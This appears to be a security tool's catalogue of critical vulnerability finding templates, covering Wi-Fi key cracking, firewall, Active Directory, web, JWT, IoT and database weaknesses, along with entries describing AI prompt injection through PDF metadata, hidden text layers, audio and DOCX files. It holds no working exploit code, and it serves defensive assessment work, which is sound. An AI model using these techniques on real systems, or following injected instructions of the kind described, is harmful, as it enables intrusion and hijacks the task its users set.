Master Catalogue

4012 of 4012 entries

ID Risk Title CVSS CWE
AETHER-001 CRITICAL WPA Pre-Shared Key Cracked
wifite2 successfully recovered the WPA/WPA2/WPA3 pre-shared key (PSK) for the target SSID via offline dictionary attack ...
8.1 —
AETHER-003 CRITICAL WPA-Enterprise Credentials Captured
EAPHammer deployed a rogue AP that successfully impersonated the target WPA-Enterprise network, downgrades the 802.1X EA...
8.8 —
AETHER-013 CRITICAL WEP Key Cracked
aircrack-ng recovered the WEP key using the PTW statistical attack against collected IVs. With the key an attacker can d...
9.8 —
AETHER-018 CRITICAL MSCHAPv2 Hash Cracked via asleap
asleap successfully cracked the MSCHAPv2 challenge/response captured by EAPHammer's rogue AP. MSCHAPv2 is inherently wea...
8.8 —
AETHER-020 CRITICAL Rogue AP — WPA Pre-Shared Key Phished via Captive Portal
A client associated with the rogue AP and submitted a WPA PSK via a captive portal page that mimicked the target network...
9.0 —
AETHER-021 CRITICAL KARMA / MANA Attack — Client Credentials Captured
A KARMA/MANA rogue AP responded to probe requests from clients seeking previously associated networks and captured crede...
8.8 —
AETHER-025 CRITICAL EAP Downgrade — Weak EAP Method Credentials Captured
EAPHammer with balanced negotiation captured credentials by accepting a weaker EAP method (e.g. PEAP/MSCHAPv2 or EAP-MD5...
8.8 —
AETHER-CAP-DNS-TUNNEL CRITICAL Captive Portal: DNS Tunneling Viability Confirmed
A long random-subdomain DNS query (40 chars, characteristic of DNS tunneling tools) was successfully forwarded by the ca...
9.6 CWE-284 CWE-693
AETHER-EAPTLS-002 CRITICAL Client Supplicant Fails to Validate Server Certificate (Evil Twin Succeeds Against EAP-TLS)
An evil-twin rogue AP with a self-signed cert successfully attracted a client supplicant which proceeded past server-cer...
8.1 —
BA-001 CRITICAL No Default-Deny Rule at End of Policy
No explicit default-deny (implicit permit-all) rule exists at the end of the access control list or policy group. Traffi...
9.8 —
BA-002 CRITICAL Any-Any-Any Permit Rule Detected
A firewall rule permits all traffic from any source to any destination on all ports and protocols. This is the most dang...
10.0 —
BA-007 CRITICAL RDP Permitted from Any Source
A firewall rule permits Remote Desktop Protocol (RDP, TCP 3389) inbound from any source address. RDP is one of the most ...
9.8 —
BA-011 CRITICAL SMB Permitted from External Sources (TCP 445)
A firewall rule permits SMB (TCP 445) from external/untrusted sources. SMB is the primary protocol used by ransomware (W...
10.0 —
BA-017 CRITICAL Database Ports Exposed to External Sources
A firewall rule permits database service ports (MySQL TCP 3306, MSSQL TCP 1433, PostgreSQL TCP 5432, Oracle TCP 1521) fr...
9.8 —
BA-018 CRITICAL Elasticsearch Exposed to External Sources (TCP 9200/9300)
A firewall rule permits Elasticsearch (TCP 9200 HTTP API or 9300 transport) from external or untrusted sources. Elastics...
9.8 —
BA-019 CRITICAL Redis/Memcached Exposed to External Sources
A firewall rule permits Redis (TCP 6379) or Memcached (TCP/UDP 11211) from external sources. Both services have no authe...
9.8 —
BA-024 CRITICAL Management Access Not Restricted to Management Zone
Firewall management interfaces (HTTPS, SSH, ASDM) are accessible from any source address, including untrusted networks.
9.8 —
BA-026 CRITICAL Telnet Used for Device Management
Telnet is enabled as a device management protocol. Telnet provides no encryption, authentication challenge-response visi...
9.8 —
BA-027 CRITICAL No Source Restriction on SSH/HTTPS Management Access
SSH or HTTPS management access is configured without a source IP restriction, allowing management access from any networ...
9.8 —
BA-031 CRITICAL No Logging Configured — Complete Forensic Blind Spot
No firewall rules in this configuration have logging enabled. The firewall is operating without any security event loggi...
7.5 —
BA-047 CRITICAL Cato WAN Firewall: Any-Any Permit Rule
A WAN firewall rule permits all traffic with no source, destination, or service restrictions across SD-WAN sites.
9.9 —
BA-053 CRITICAL Executive Env: Guest Network Not Isolated from Corporate
Guest/visitor wireless or network segment can communicate with corporate resources. Executive environments are high-valu...
9.6 —
BA-057 CRITICAL Executive Env: Logging Disabled on Rules Covering Executive Subnets
Permit rules covering identified executive subnets have logging disabled, creating a forensic blind spot in the highest-...
7.5 —
DR-ADCS-001 CRITICAL ADCS: ESC1 - Misconfigured Certificate Template
A certificate template allows enrollees to specify a Subject Alternative Name (SAN) in the certificate request, AND low-...
9.8 CWE-295
DR-ADCS-005 CRITICAL ADCS: ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
The Certificate Authority has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled. This CA-level configuration allows ANY ce...
9.8 CWE-295
DR-CRED-004 CRITICAL Credential Exposure: GPP cpassword Exposure
Group Policy Preferences (GPP) XML files containing the 'cpassword' attribute were found in SYSVOL. Microsoft published ...
8.8 CWE-261
DR-EVT-003 CRITICAL Event Log: Security Log Cleared
Event log clearing events detected (Event ID 1102/104). Clearing security logs destroys forensic evidence and is a stron...
6.5 CWE-778
DR-HDN-008 CRITICAL Credential Exposure: WDigest Plaintext Credentials
WDigest authentication is configured to store plaintext credentials in memory (UseLogonCredential set to 1 at HKLM\SYSTE...
9.8 CWE-522
DR-PERS-005 CRITICAL Persistence: Accessibility Feature Modified
One or more Windows accessibility feature binaries (sethc.exe, utilman.exe, osk.exe, narrator.exe, magnify.exe, DisplayS...
9.8 CWE-506
DR-PROC-001 CRITICAL Process: Known Malicious Process Detected
One or more running processes match known malicious software signatures in the threat intelligence database. This is a s...
9.8 CWE-506
DR-PROC-004 CRITICAL Process: SYSTEM Process in User-Writable Path
One or more processes are running as SYSTEM from user-writable locations (Users, AppData, Downloads, ProgramData, Temp)....
6.7 CWE-269 CWE-427
DR-SYS-012 CRITICAL Service Hardening: PrintNightmare Vulnerable
The system is vulnerable to PrintNightmare (CVE-2021-34527 / CVE-2021-1675). The Print Spooler service is running AND th...
8.8 CWE-269
FR-020 CRITICAL WordPress Configuration Backup Exposed
A WordPress configuration backup file (e.g., wp-config.php.bak, wp-config.php~) was found accessible on the web server. ...
— —
FR-036 CRITICAL Configuration File Exposed
A configuration file (e.g., .env, config.php, settings.py, database.yml) is publicly accessible. Configuration files typ...
— —
FR-037 CRITICAL Git Repository Exposed
A .git directory or git repository index is accessible from the web root. An attacker can reconstruct the full source co...
— —
FR-040 CRITICAL Database File Exposed
A database file (e.g., .sqlite, .db, .mdb) is directly accessible from the web server. This exposes the entire database ...
— —
FR-049 CRITICAL TLS DROWN Vulnerability
The server supports SSLv2, making modern TLS connections vulnerable to the DROWN attack. An attacker can decrypt RSA-enc...
— —
FR-050 CRITICAL TLS HEARTBLEED Vulnerability
The server is running a version of OpenSSL vulnerable to Heartbleed (CVE-2014-0160). An attacker can read up to 64KB of ...
— —
FR-073 CRITICAL JWT Algorithm Confusion (None Algorithm)
The server accepts JWTs with the algorithm set to 'none', bypassing signature verification entirely. An attacker can for...
— —
FR-074 CRITICAL JWT Algorithm Confusion (RS256 to HS256)
The server is vulnerable to JWT algorithm confusion. By changing the algorithm from RS256 to HS256 and signing the token...
— —
FR-075 CRITICAL JWT Weak HMAC Secret
The JWT HMAC signing secret is weak or uses a common/guessable value. An attacker can brute-force the secret offline and...
— —
FR-076 CRITICAL JWT Signature Not Verified
The server accepts JWTs with an invalid or tampered signature. The server is processing the JWT payload without verifyin...
— —
FR-079 CRITICAL JWT kid Header Injection
The JWT 'kid' (Key ID) header parameter is used in an unsafe SQL query or file path lookup without validation. An attack...
— —
FR-080 CRITICAL JWT jwk Header Injection
The server trusts the 'jwk' (JSON Web Key) header embedded in the JWT itself for signature verification. An attacker can...
— —
FR-081 CRITICAL SQL Injection
SQL injection was detected. User-supplied input is incorporated into SQL queries without proper parameterization or esca...
9.8 CWE-20 CWE-89 CWE-943
FR-082 CRITICAL Blind SQL Injection (Boolean-Based)
Boolean-based blind SQL injection was detected. The application does not return error messages, but its behavior changes...
9.8 CWE-20 CWE-89 CWE-943
FR-083 CRITICAL Blind SQL Injection (Time-Based)
Time-based blind SQL injection was detected. The server introduces measurable response delays when injected time-delay S...
9.8 CWE-20 CWE-89 CWE-943
FR-084 CRITICAL NoSQL Injection
NoSQL injection was detected against a MongoDB, Elasticsearch, or similar NoSQL database. Unsanitized user input is used...
8.1 CWE-943
FR-085 CRITICAL Command Injection (OS Command Injection)
Operating system command injection was detected. User-supplied input is passed to a system shell command without sanitiz...
— —
FR-086 CRITICAL Server-Side Template Injection (SSTI)
Server-Side Template Injection was detected. User input is embedded directly into a server-side template (Jinja2, Freema...
9.8 CWE-94
FR-092 CRITICAL XML External Entity (XXE) Injection
XML External Entity (XXE) injection was detected. The XML parser processes externally supplied entity references, allowi...
8.1 CWE-611 CWE-827
FR-100 CRITICAL Remote File Inclusion
Remote File Inclusion (RFI) was detected. The application includes or requires files using a URL parameter that can be s...
— —
FR-101 CRITICAL Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) was detected. The application fetches remote resources at a URL controlled by the att...
9.3 CWE-441 CWE-918
FR-102 CRITICAL SSRF via Cloud Metadata Endpoint Access
SSRF was exploited to access the cloud provider's instance metadata service (AWS 169.254.169.254, GCP metadata.google.in...
— —
FR-104 CRITICAL Broken Authentication — Default Credentials
The application or an integrated component (CMS, framework, admin panel) uses default or well-known credentials (admin/a...
— —
FR-105 CRITICAL Authentication Bypass via SQL Injection
The login form is vulnerable to SQL injection, allowing authentication bypass without valid credentials. Payloads such a...
— —
FR-106 CRITICAL Authentication Bypass via Response Manipulation
Authentication can be bypassed by manipulating server responses (e.g., changing 'false' to 'true' in JSON responses, mod...
— —
FR-109 CRITICAL Sensitive File Exposed — /etc/passwd
The /etc/passwd file is accessible via path traversal or misconfiguration. This file contains system user account inform...
— —
FR-110 CRITICAL Information Disclosure: .env File
The .env environment configuration file is publicly accessible. This file typically contains database credentials, API k...
— —
FR-111 CRITICAL Sensitive File Exposed — Private Key
A private cryptographic key file (.pem, .key, .p12, .pfx) was found accessible on the web server. Exposure of private ke...
— —
FR-131 CRITICAL Vertical Privilege Escalation
Vertical privilege escalation was detected. A lower-privileged user can access administrative functionality or higher-pr...
9.0 CWE-269
FR-141 CRITICAL Insecure Deserialization
Insecure deserialization was detected. The application deserializes user-supplied data (via pickle, Java ObjectInputStre...
9.8 CWE-94 CWE-502
FR-142 CRITICAL Java Deserialization via Gadget Chains
Java object deserialization was identified with known gadget chain exploitability. Exploitation of known gadget chains (...
— —
FR-143 CRITICAL PHP Object Injection via unserialize()
PHP's unserialize() function is called on user-controlled input. If the application's autoloaded classes contain exploit...
— —
FR-144 CRITICAL Unrestricted File Upload — Executable File
The file upload functionality allows uploading of executable files (PHP, JSP, ASP, Python, etc.) without restriction. An...
— —
FR-148 CRITICAL Mass Assignment — Privilege Escalation via Role Field
Mass assignment was exploited to modify a privileged field such as 'isAdmin', 'role', or 'permission_level' by including...
— —
FR-172 CRITICAL Insecure Password Storage (Cleartext or Weak Hash)
Evidence suggests passwords are stored in cleartext, as reversible encryption, or using a weak unsalted hash algorithm (...
— —
FR-177 CRITICAL HTTP Request Smuggling
HTTP request smuggling was detected due to inconsistent interpretation of Content-Length and Transfer-Encoding headers b...
— —
FR-184 CRITICAL Access Matrix — User A Can Modify User B Data
Authenticated user A can modify or delete data owned by user B by manipulating object identifiers in API requests. Objec...
— —
FR-185 CRITICAL Access Matrix — Admin Functionality Accessible by Regular User
Administrative functions (user management, system configuration, data export) are accessible to regular authenticated us...
— —
FR-190 CRITICAL GraphQL SQL Injection via Argument
SQL injection was detected via GraphQL query arguments. Unsanitized argument values are passed to underlying database qu...
— —
FR-222 CRITICAL Sensitive Path Accessible
A sensitive path was found accessible that should require authentication or should not be publicly reachable. Accessing ...
— 200 284
FR-240 CRITICAL WordPress wp-config.php Source Code Exposed
The WordPress configuration file (wp-config.php) or a backup of it is accessible and returns source code. This file cont...
9.8 200 312 540
FR-246 CRITICAL WordPress Configuration Backup Exposed
A WordPress configuration backup file was found accessible. Configuration backups may expose database credentials, salts...
— —
FR-261 CRITICAL Heartbleed (CVE-2014-0160) Vulnerability Detected
The server is vulnerable to Heartbleed (CVE-2014-0160). Attackers can read up to 64 KB of server memory per request, exp...
7.5 CWE-125
FR-273 CRITICAL SQL Injection (Error-Based)
Error-based SQL injection was detected. Database error messages containing SQL syntax are returned in response to crafte...
9.8 CWE-20 CWE-89 CWE-943
FR-274 CRITICAL SQL Injection Confirmed by sqlmap
sqlmap confirmed SQL injection on the target parameter. SQL injection allows attackers to read, modify, or delete databa...
9.8 CWE-20 CWE-89 CWE-943
FR-275 CRITICAL Second-Order SQL Injection
A second-order (stored) SQL injection vector was identified. User-supplied input stored in the database is later include...
9.8 CWE-20 CWE-89 CWE-943
FR-276 CRITICAL OS Command Injection
OS command injection was detected. User-supplied input is passed to an operating system shell without sanitisation, allo...
9.8 CWE-20 CWE-77 CWE-78
FR-277 CRITICAL Remote Code Execution via Code Injection
Server-side code injection leading to remote code execution was detected. User-supplied input is evaluated as server-sid...
9.8 94 78 95
FR-279 CRITICAL Stored Cross-Site Scripting (XSS)
Stored XSS was detected. User-supplied input is persisted and later rendered in the browser without encoding, allowing a...
8.0 CWE-79 CWE-116
FR-288 CRITICAL Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) was detected. User-supplied URLs or hostnames are used by the server to make outbound...
9.3 CWE-441 CWE-918
FR-290 CRITICAL Insecure Deserialization — Serialized Object Accepted
A serialised object was accepted by the application without signature verification. Insecure deserialisation can lead to...
— —
FR-291 CRITICAL Insecure Deserialization — YAML Tag Injection
A YAML tag injection payload was accepted by the application. YAML parsers that support arbitrary Python object instanti...
— —
FR-296 CRITICAL Weak or Default Credentials Accepted
Weak, default, or commonly-used credentials were successfully authenticated. Default or weak credentials allow attackers...
9.8 CWE-1392
FR-300 CRITICAL JWT None Algorithm Authentication Bypass
The JWT library accepts tokens with the 'none' algorithm, meaning the signature field is empty and no verification is pe...
9.1 CWE-347
FR-301 CRITICAL JWT Vulnerability: 'none' Algorithm Accepted
The application accepted a JWT token with the 'none' algorithm specified in the header, bypassing signature verification...
— —
FR-302 CRITICAL JWT Vulnerability Confirmed by jwt_tool
jwt_tool confirmed a JWT vulnerability that allows token forgery or authentication bypass. JWT vulnerabilities enable im...
— —
FR-434 CRITICAL Server-Side Include (SSI) Injection
The application processes SSI directives embedded in user input, allowing execution of server-side commands.
9.8 CWE-97
FR-446 CRITICAL MFA Bypass — Direct Navigation
Protected pages are accessible by direct URL navigation after initial authentication, bypassing the MFA verification ste...
9.8 CWE-287
FR-468 CRITICAL Information Disclosure: Cloud Credentials in File
Cloud or CI/CD credential file(s) are accessible via the web, containing API keys, access tokens, database passwords, an...
9.8 CWE-312 CWE-798
FR-469 CRITICAL Terraform State File Exposed
Terraform state file is accessible via the web, containing infrastructure secrets, API keys, database passwords, and com...
9.8 CWE-312
FR-500 CRITICAL Server-Side Template Injection (SSTI) — SSTImap Confirmed
SSTImap confirmed that the target application is vulnerable to Server-Side Template Injection (SSTI). User-supplied inpu...
9.8 CWE-1336 CWE-94
FR-502 CRITICAL OS Command Injection — commix Confirmed
commix confirmed that the target application is vulnerable to OS command injection. User-supplied input is incorporated ...
9.8 CWE-78 CWE-77
FR-511 CRITICAL JWT Algorithm None Accepted
A JWT token uses algorithm 'none', meaning the token has no signature verification. Any attacker can forge arbitrary tok...
9.8 CWE-345 CWE-327
GB-BT-019 CRITICAL Unauthenticated GATT Characteristic Write
A GATT write to a device characteristic succeeded over an unpaired, unencrypted link (ATT Write Response with no securit...
— CWE-306 CWE-862 CWE-284
GB-CAN-003 CRITICAL CAN Replay Attack
A previously captured CAN frame was successfully replayed and accepted as a legitimate message by one or more nodes on t...
— —
GB-CRED-001 CRITICAL NTLM Hash Captured via Responder
Responder successfully captured an NTLMv1 or NTLMv2 challenge-response hash in response to a poisoned LLMNR/NBT-NS reply...
— —
GB-CRED-002 CRITICAL Cleartext Credentials in Traffic Capture
Cleartext credentials (username/password) were observed in captured network traffic. The device transmitted authenticati...
— —
GB-CRED-003 CRITICAL Weak or Default Credentials Accepted
The target accepted well-known default or factory-set credentials, granting unauthorised access.
— —
GB-CRED-004 CRITICAL Cleartext Credentials Captured
A username and password pair was observed in plaintext within captured network traffic. The credentials were transmitted...
— —
GB-LORA-006 CRITICAL LoRaWAN Default or Weak AppKey
The device's LoRaWAN root AppKey (OTAA) or session keys (ABP) are default, all-zero, sequential, vendor-shared, or deriv...
9.1 CWE-798 CWE-321
GB-RFID-003 CRITICAL RFID Replay Attack Successful
A captured RFID credential was successfully replayed to the reader and accepted. No anti-replay protection is in place.
— —
GB-SC-007 CRITICAL Default GlobalPlatform Card Manager Keys
The card's GlobalPlatform Issuer Security Domain authenticated an SCP secure channel using the default test key set (40....
9.1 CWE-798 CWE-321 CWE-1392
GB-SERIAL-003 CRITICAL Serial Port Allows Remote Access
A serial console interface is accessible to an unauthenticated party via an exposed physical connector, a network-bridge...
— —
GB-SMB-002 CRITICAL SMB Share Accessible Without Authentication
One or more SMB shares are accessible without valid credentials, allowing unauthenticated users to read or write files a...
— —
GB-SMB-003 CRITICAL SMB Share Accessible Without Authentication
One or more SMB shares are accessible without valid credentials, allowing unauthenticated users to read or write files a...
— —
GB-VULN-001 CRITICAL Nessus Critical Vulnerability
Nessus Professional identified a critical severity vulnerability (CVSS ≥ 9.0). This typically represents unauthenticated...
— —
GB-VULN-011 CRITICAL Heartbleed (CVE-2014-0160) Vulnerability Detected
The target is running a version of OpenSSL affected by CVE-2014-0160 (Heartbleed). The TLS heartbeat extension implement...
— —
GB-WEB-001 CRITICAL Web — Default Credentials Accepted
The web management interface accepted default manufacturer credentials. An attacker can gain full administrative access ...
— —
GB-WIFI-003 CRITICAL WEP Encryption in Use
The access point uses WEP, a cryptographically broken cipher whose RC4/IV key can be recovered from captured traffic usi...
9.1 CWE-327 CWE-326
IS-001 CRITICAL Known malicious file hash ({classification})
A file's cryptographic hash (MD5, SHA1, or SHA256) matches a known threat indicator in the pr0t31n threat intelligence d...
9.8 CWE-506
OSIFT-012 CRITICAL Plaintext Credential Found in Breach Database
A plaintext or reversibly hashed password was found in a breach database (Dehashed) for a target-domain email address. D...
9.1 —
OSIFT-013 CRITICAL Information Disclosure: Github Secret / API Key
GitDorker or TruffleHog identified a secret, API key, token, or private key in a public GitHub repository associated wit...
9.1 —
OSIFT-015 CRITICAL M365 Valid Credential Found (Credential Spray Success)
TREVORspray successfully authenticated to M365/Azure AD with a discovered credential. Full account access to Microsoft c...
9.8 —
OSIFT-031 CRITICAL Weak or Default Credentials Accepted
The target accepted well-known default or factory-set credentials, granting unauthorised access.
9.8 CWE-1392
PHX-001 CRITICAL SQL Injection (Error-Based) 9.8 CWE-20 CWE-89 CWE-943
PHX-004 CRITICAL Server-Side Template Injection (SSTI) 9.8 CWE-94
PHX-006 CRITICAL OS Command Injection 9.8 CWE-20 CWE-77 CWE-78
PHX-010 CRITICAL JWT None Algorithm Accepted 9.1 CWE-347
PHX-017 CRITICAL Privilege Escalation – Vertical 9.0 CWE-269
PHX-024 CRITICAL Default Credentials in Use 9.8 CWE-1392
PHX-031 CRITICAL EternalBlue (MS17-010) Vulnerability 9.8 CWE-119
PHX-035 CRITICAL Exposed Credentials in Public GitHub Repository 9.8 CWE-259 CWE-312 CWE-798
PHX-038 CRITICAL Hardcoded Credentials in Source Code 9.8 CWE-259 CWE-798
PHX-039 CRITICAL Insecure Deserialization 9.8 CWE-94 CWE-502
PHX-040 CRITICAL Unsafe File Upload – Arbitrary File Write 9.8 CWE-20 CWE-434
PHX-050 CRITICAL Server-Side Request Forgery (SSRF) 9.3 CWE-441 CWE-918
PHX-056 CRITICAL JWT Weak Secret 9.1 CWE-347 CWE-521
PHX-070 CRITICAL Unprotected Admin Interface 9.1 CWE-284
PHX-071 CRITICAL BlueKeep – RDP Pre-Auth RCE (CVE-2019-0708) 9.8 CWE-416
PHX-072 CRITICAL Log4Shell (CVE-2021-44228) 10.0 CWE-917
PHX-073 CRITICAL Spring4Shell (CVE-2022-22965) 9.8 CWE-94
PHX-074 CRITICAL ProxyShell – Microsoft Exchange RCE 9.8 CWE-441 CWE-918
PHX-076 CRITICAL Exposed .git Directory 9.1 CWE-538
PHX-078 CRITICAL Exposed Environment File (.env) 9.8 CWE-538
PHX-081 CRITICAL Database Accessible from Internet 9.8 CWE-749
PHX-082 CRITICAL SQL Injection – Stored Procedure Abuse 9.8 CWE-20 CWE-89 CWE-943
PHX-091 CRITICAL Heap Overflow / Buffer Overflow in Network Service 9.8 CWE-119 CWE-122
PHX-092 CRITICAL Zerologon (CVE-2020-1472) 10.0 CWE-330
PHX-093 CRITICAL PrintNightmare (CVE-2021-34527) 8.8 CWE-269
PHX-102 CRITICAL IDOR – Account Takeover via Password Change 9.8 CWE-639
PHX-116 CRITICAL Remote Code Execution via Code Injection 9.8 94 78 95
PHX-126 CRITICAL WordPress wp-config.php Exposed 9.8 200 312 540
PHX-135 CRITICAL LLMNR/NBT-NS Poisoning — NTLM Hash Capture 8.8 CWE-294 CWE-311 CWE-306
PHX-139 CRITICAL CAN Bus Attack — Frame Injection and Replay 9.3 CWE-294 CWE-311
PHX-141 CRITICAL USB HID Keyboard Injection 9.3 CWE-284 CWE-693
PHX-142 CRITICAL Unauthenticated Serial Console Access 9.3 CWE-306 CWE-284
PHX-144 CRITICAL Heartbleed — OpenSSL Memory Disclosure (CVE-2014-0160) 7.5 CWE-125
PHX-145 CRITICAL IPMI 2.0 Cipher Suite 0 — Authentication Bypass 9.8 CWE-287 CWE-306
PHX-146 CRITICAL SMBv1 Enabled — EternalBlue Attack Surface 9.8 CWE-693 CWE-119
PHX-147 CRITICAL libSSH Authentication Bypass (CVE-2018-10933) 9.8 CWE-287
PHX-156 CRITICAL MySQL Unauthenticated Root Access 9.8 CWE-306 CWE-521
PHX-158 CRITICAL VMware ESXi Management Interface Exposed 9.8 CWE-284 CWE-749
PHX-159 CRITICAL Oracle Database Vulnerability (ODAT) 9.8 CWE-287 CWE-521
PHX-160 CRITICAL MSSQL Vulnerability / Default Credentials 9.8 CWE-287 CWE-521
PHX-168 CRITICAL OS End-of-Life — No Vendor Security Support 9.8 CWE-1104
PHX-173 CRITICAL Brute-Force Valid Credentials Found 9.8 CWE-307 CWE-521
PHX-185 CRITICAL WS-Security Authentication Bypass 9.8 CWE-287 CWE-290
PHX-216 CRITICAL WPA/WPA2 Pre-Shared Key Capture and Offline Cracking 8.1 CWE-521 CWE-326
PHX-217 CRITICAL WPA-Enterprise (EAP/MSCHAPv2) Credentials Captured 8.8 CWE-326 CWE-522
PHX-220 CRITICAL WEP Encryption — Broken Protocol in Use 9.8 CWE-326 CWE-327
PHX-221 CRITICAL Open Wireless Network — No Encryption 9.8 CWE-311
PHX-229 CRITICAL Bluetooth Stack CVE — Remote Code Execution 8.5 CWE-119 CWE-122
PHX-235 CRITICAL ZigBee Network Key Exposure — Intercept, Default, or Plaintext 9.1 CWE-321 CWE-311
PHX-240 CRITICAL ZigBee Hardcoded Credentials or Key in Firmware 9.3 CWE-321 CWE-798
PHX-242 CRITICAL ZigBee OTA Firmware Update Without Authentication 8.2 CWE-345 CWE-494
PHX-244 CRITICAL Ghost Peak Attack — UWB Distance Reduction Exploit 9.2 CWE-345
PHX-245 CRITICAL RTLS Management Console — Default Credentials 9.8 CWE-521 CWE-1188
PHX-246 CRITICAL MQTT Broker — Unauthenticated Access and Cleartext Credentials 8.6 CWE-306 CWE-311
PHX-248 CRITICAL SQL Injection in RTLS Reporting Module 8.5 CWE-89
PHX-249 CRITICAL RTLS REST API — Unauthenticated Access 7.5 CWE-306
PHX-252 CRITICAL RTLS Anchor Firmware Update — Missing Signature Verification 7.9 CWE-345 CWE-494
PHX-257 CRITICAL Physical UWB Frame Injection — Ranging Manipulation 7.4 CWE-20 CWE-345
PHX-258 CRITICAL Database Default Credentials 9.8 CWE-521 CWE-1392
PHX-259 CRITICAL MongoDB Unauthenticated Access 9.8 CWE-306 CWE-284
PHX-260 CRITICAL Redis Unauthenticated Access 9.8 CWE-306 CWE-284
PHX-262 CRITICAL CouchDB Admin Party — No Authentication Required 9.8 CWE-306
PHX-265 CRITICAL Cassandra No Authentication 9.1 CWE-306
PHX-273 CRITICAL MySQL FILE / UDF Remote Code Execution 9.8 CWE-94 CWE-78
PHX-274 CRITICAL PostgreSQL COPY TO PROGRAM Remote Code Execution 7.2 CWE-78
PHX-275 CRITICAL Redis SLAVEOF / CONFIG Unauthorized Command Execution 9.8 CWE-306 CWE-78
PHX-276 CRITICAL MSSQL xp_cmdshell Enabled — OS Command Execution 9.8 CWE-78
PHX-277 CRITICAL Oracle Database Default SYS/SYSTEM Credentials 9.8 CWE-521 CWE-1392
PI-001 CRITICAL AI Prompt Injection — Task Hijack via {strategy}
The AI pipeline abandoned its primary task entirely when processing a file containing an injected instruction in its met...
9.1 CWE-74 CWE-77
PI-003 CRITICAL AI Prompt Injection — Classify Override via {strategy}
The AI pipeline returned an attacker-controlled classification label instead of performing genuine content analysis. The...
9.1 CWE-74 CWE-345
PI-004 CRITICAL AI Prompt Injection — System Probe via {strategy}
The AI pipeline disclosed its system prompt or internal configuration in response to an injected instruction embedded in...
8.6 CWE-200 CWE-74
PI-010 CRITICAL AI Prompt Injection — Task Hijack via pdf_docinfo_metadata
The AI pipeline abandoned its primary task when processing a PDF whose document-info metadata (Author, Subject, Keywords...
9.1 CWE-74 CWE-77
PI-011 CRITICAL AI Prompt Injection — {category} via pdf_hidden_text_layer
The AI pipeline processed a PDF containing a hidden text layer (white text on white background) with an injected instruc...
9.1 CWE-74
PI-014 CRITICAL AI Prompt Injection — {category} via wav_spoken_audio_content
The AI pipeline followed an injected instruction delivered as synthesised speech in a WAV audio file. The speech-to-text...
9.1 CWE-74
PI-016 CRITICAL AI Prompt Injection — {category} via docx_body_text_extraction
The AI pipeline followed an injected instruction placed in the body text of a DOCX (Word) document. The document XML bod...
9.1 CWE-74
SI-083 CRITICAL Missing Authentication Enforcement
Siphon confirmed that an API endpoint that should require authentication is accessible without any credentials. The endp...
9.8 —
SI-084 CRITICAL BFLA — Admin Endpoint Accessible
Siphon confirmed that an administrative API endpoint is accessible by a non-administrative user or by an unauthenticated...
9.8 —
SI-085 CRITICAL BOLA — Broken Object Level Authorization
Siphon confirmed a Broken Object Level Authorization (BOLA) vulnerability, also known as IDOR (Insecure Direct Object Re...
9.1 —
SI-086 CRITICAL Default Credentials Accepted on API Login Endpoint
The API login endpoint accepts default credentials (e.g., admin/admin, admin/password, admin/1234, root/root, test/test,...
9.8 CWE-307 CWE-521
SI-087 CRITICAL Type Juggling / JSON Type Confusion Authentication Bypass
Siphon confirmed an authentication bypass via JSON type confusion (type juggling). By submitting a non-string value in t...
9.8 —
SI-088 CRITICAL JWT None Algorithm Accepted
Siphon confirmed that the API accepts JWTs signed with the 'none' algorithm (alg: none, alg: None, alg: NONE). The 'none...
9.8 CWE-347
SI-089 CRITICAL SQL Injection in API Parameter
Siphon confirmed a SQL injection vulnerability in an API parameter. User-supplied input is incorporated into a SQL query...
9.8 CWE-20 CWE-89 CWE-943
SI-090 CRITICAL Blind SQL Injection (Boolean-Based)
Siphon confirmed a boolean-based blind SQL injection vulnerability where injecting boolean conditions into an API parame...
9.1 CWE-89
SI-091 CRITICAL Blind SQL Injection (Time-Based)
Siphon confirmed a time-based blind SQL injection vulnerability. Injecting time-delay functions (e.g., SLEEP(5), WAITFOR...
9.1 CWE-89
SI-092 CRITICAL NoSQL Injection in API Parameter
Siphon confirmed a NoSQL injection vulnerability. User-supplied input is incorporated into a NoSQL database query (Mongo...
9.1 CWE-943
SI-093 CRITICAL OS Command Injection in API Parameter
Siphon confirmed OS command injection in an API parameter. User-supplied input is passed directly or with insufficient s...
10.0 CWE-20 CWE-77 CWE-78
SI-094 CRITICAL Server-Side Template Injection (SSTI)
Siphon confirmed Server-Side Template Injection (SSTI) in an API endpoint. User-supplied input is embedded directly into...
9.8 CWE-94
SI-097 CRITICAL JWT Algorithm Confusion Attack (RS256 to HS256)
Siphon confirmed an algorithm confusion attack where the API normally uses RS256 (asymmetric RSA) but also accepts token...
9.8 —
SI-098 CRITICAL JWT — jku/x5u Header Injection (JWKS Spoofing)
Siphon confirmed that the API fetches the JWT verification key from the URL specified in the jku (JWK Set URL) or x5u (X...
9.8 —
SI-099 CRITICAL JWT — kid Header SQL Injection
Siphon confirmed that the JWT kid (key ID) header value is incorporated into a SQL query without parameterization when l...
9.8 —
SI-100 CRITICAL JWT HMAC Secret Cracked
Siphon successfully cracked the HMAC signing secret used by the API to sign JWTs using offline dictionary or brute-force...
9.8 —
SI-103 CRITICAL WS-Security Bypass — Expired Timestamp / Empty PasswordDigest Accepted
Siphon confirmed that the SOAP API's WS-Security implementation accepts messages that fail one or more fundamental authe...
9.8 CWE-287 CWE-290
SI-108 CRITICAL Weak JWT Secret
Siphon identified that the HMAC secret used to sign JWTs is weak — matching a known default value, a short string, a dic...
9.8 CWE-347 CWE-521
SI-110 CRITICAL XML External Entity (XXE) Injection in API
Siphon confirmed an XML External Entity (XXE) injection vulnerability where the API accepts XML input and the underlying...
9.8 CWE-611 CWE-827
SI-130 CRITICAL SQL Injection (Error-Based)
Siphon observed a database error message in the response after injecting SQL metacharacters into a parameter, indicating...
9.8 CWE-89
SS-071 CRITICAL Unauthenticated Docker API Exposed
The Docker Engine API is accessible without authentication. Endpoints such as /v1.24/containers/json and /v1.24/images/j...
9.8 CWE-306
SS-072 CRITICAL PostgreSQL Trust Authentication Enabled
PostgreSQL accepts connections as user 'postgres' without requiring a password, indicating trust authentication is confi...
9.8 CWE-306 CWE-287
SS-075 CRITICAL Grafana Default Credentials (admin:admin)
Grafana accepts the default credentials admin:admin, granting full administrative access to the Grafana instance.
9.8 CWE-1393 CWE-798
SS3-005 CRITICAL SSLv2 Enabled
The server accepts SSLv2 connections. SSLv2 is fundamentally broken and vulnerable to the DROWN attack (CVE-2016-0800), ...
5.9 —
